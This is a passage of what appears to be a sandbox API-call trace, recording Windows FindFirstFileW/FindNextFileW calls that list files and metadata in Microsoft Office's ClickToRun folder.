(in: hFindFile=0x69aec8, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.098] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0136.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0136.098] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.138] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0136.138] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0136.140] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0136.151] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: 